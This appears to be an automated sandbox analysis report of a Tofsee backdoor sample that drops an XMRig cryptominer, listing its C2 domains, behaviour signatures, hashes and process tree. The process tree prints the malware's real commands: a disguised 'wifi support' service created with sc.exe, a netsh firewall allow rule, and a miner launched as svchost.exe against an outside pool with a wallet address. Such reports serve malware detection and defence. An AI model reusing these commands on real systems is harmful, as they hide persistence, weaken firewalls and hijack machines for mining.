Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 22:55

General

  • Target
    file.exe
  • Size 265KB
  • Sample230110-2v4headf8z
  • SHA256 60629b77f8cf4cbdeebbb340a5f7e28e60b3111a473d3906ebe922cecc9d7dde
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eclcmqyd\
      2⤵
        PID:404
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mlklmwyb.exe" C:\Windows\SysWOW64\eclcmqyd\
        2⤵
          PID:1296
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eclcmqyd binPath= "C:\Windows\SysWOW64\eclcmqyd\mlklmwyb.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1420
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eclcmqyd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eclcmqyd
          2⤵
          • Launches sc.exe
          PID:3396
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1888
      • C:\Windows\SysWOW64\eclcmqyd\mlklmwyb.exe
        C:\Windows\SysWOW64\eclcmqyd\mlklmwyb.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3732
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3568
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4128

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            mlklmwyb.exe

            • Path C:\Users\Admin\AppData\Local\Temp\mlklmwyb.exe
            • Size 14.4MB
            • SHA256 c32e82cd4083b59e302b85f5c6d38824cf31e85985d4876dbd402504cb8e2161
            • MD5 SHA1 SHA512 SSDEEP

            mlklmwyb.exe

            • Path C:\Windows\SysWOW64\eclcmqyd\mlklmwyb.exe
            • Size 14.4MB
            • SHA256 c32e82cd4083b59e302b85f5c6d38824cf31e85985d4876dbd402504cb8e2161
            • MD5 SHA1 SHA512 SSDEEP

            memory/3568-158-0x00000000023E0000-0x00000000023F0000-memory.dmp

            memory/3568-151-0x0000000000E50000-0x0000000000E65000-memory.dmp

            memory/3568-161-0x00000000023F0000-0x00000000023F5000-memory.dmp

            memory/3568-164-0x0000000007C00000-0x000000000800B000-memory.dmp

            memory/3568-155-0x00000000023D0000-0x00000000023D6000-memory.dmp

            memory/3568-145-0x0000000000E50000-0x0000000000E65000-memory.dmp

            memory/3568-167-0x00000000031D0000-0x00000000031D7000-memory.dmp

            memory/3568-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            memory/3568-150-0x0000000000E50000-0x0000000000E65000-memory.dmp

            memory/3732-146-0x0000000002DC9000-0x0000000002DD9000-memory.dmp

            memory/3732-149-0x0000000000400000-0x0000000002BAA000-memory.dmp

            memory/4128-171-0x0000000000441000-0x0000000000512000-memory.dmp

            memory/4128-172-0x0000000000440000-0x0000000000531000-memory.dmp

            memory/4128-176-0x0000000000440000-0x0000000000531000-memory.dmp

            memory/4272-143-0x0000000000400000-0x0000000002BAA000-memory.dmp

            memory/4272-137-0x0000000000400000-0x0000000002BAA000-memory.dmp

            memory/4272-134-0x0000000002C20000-0x0000000002C33000-memory.dmp

            memory/4272-133-0x0000000002DFD000-0x0000000002E0D000-memory.dmp